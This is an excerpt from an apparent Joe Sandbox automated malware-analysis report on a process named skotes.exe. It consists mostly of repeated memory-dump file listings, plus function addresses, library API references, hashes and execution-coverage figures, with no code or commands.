Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 13317969aa2c7ce000bc9fe3f48b9300f9261d19f3df444bb61f31bae71dcd81
Instruction ID: 150d43cec06c00958463fb323ede1f1417a90bb5079ab5806622ac98f0886c74
Opcode Fuzzy Hash: 13317969aa2c7ce000bc9fe3f48b9300f9261d19f3df444bb61f31bae71dcd81
Instruction Fuzzy Hash: 9B216A32710208DBEB199B68EC9EB6CBB62EFE1718F20425DE408977D5C775D980C252

Non-executed Functions

Function 001FCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001FCC66

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 263283f7cebd87393a40177ac513447a0f7b0857f593a95b86d5b4b62f1534b2
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 71B1123290068E9FDB15CF68C9817BEBFA5EF55340F15416AEA45EB282D7348D02DBE0

Function 001C2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001C2F5F
__Mtx_unlock.LIBCPMT ref: 001C2FCC
__Mtx_unlock.LIBCPMT ref: 001C30F5
__Mtx_unlock.LIBCPMT ref: 001C319B

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 4bc41f5c8a1398d5150945024a0982337722c3ea2b0c85a8b152cc6a60350299
Instruction ID: ca67c26e882b84c8a4dee9b83ee7db18fe9726b80b277c59c0fbe6259d1628a3
Opcode Fuzzy Hash: 4bc41f5c8a1398d5150945024a0982337722c3ea2b0c85a8b152cc6a60350299
Instruction Fuzzy Hash: 40A1C1B1A01206EFDB20DF64C945B9AB7A8FF25314F14852EE825D7341EB31EA14CBD1

Function 001FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 001FF3A3

Strings

`'", xrefs: 001FF375
8"", xrefs: 001FF44B

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8""$`'"
API String ID: 3903695350-2678582490
Opcode ID: f2d47b1f0707c1b86b6e0139207d5b0570c2b951c2cb90ef9c5946a7e1da4465
Instruction ID: 3d1c5a91ee80fd8865770b9f645b822949145cbf9fc823e09bdf75280f7cf3b5
Opcode Fuzzy Hash: f2d47b1f0707c1b86b6e0139207d5b0570c2b951c2cb90ef9c5946a7e1da4465
Instruction Fuzzy Hash: F831697160020DEFEB20AA79D845B7B73ECFF10312F50442DE649D6591DFB5A882CA21

Analysis Process: skotes.exePID: 3756, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 001F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001F652A,?,?,?,?,?,001F7661), ref: 001F6567

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ebeef52d76dda23dcefd7752291a421f9749c4b5914aa75ff07a379387a162d2
Instruction ID: 8d4b8ce452a140bdc5fec70b5f424d0a17994e8c3067f2974e2947f717055a43
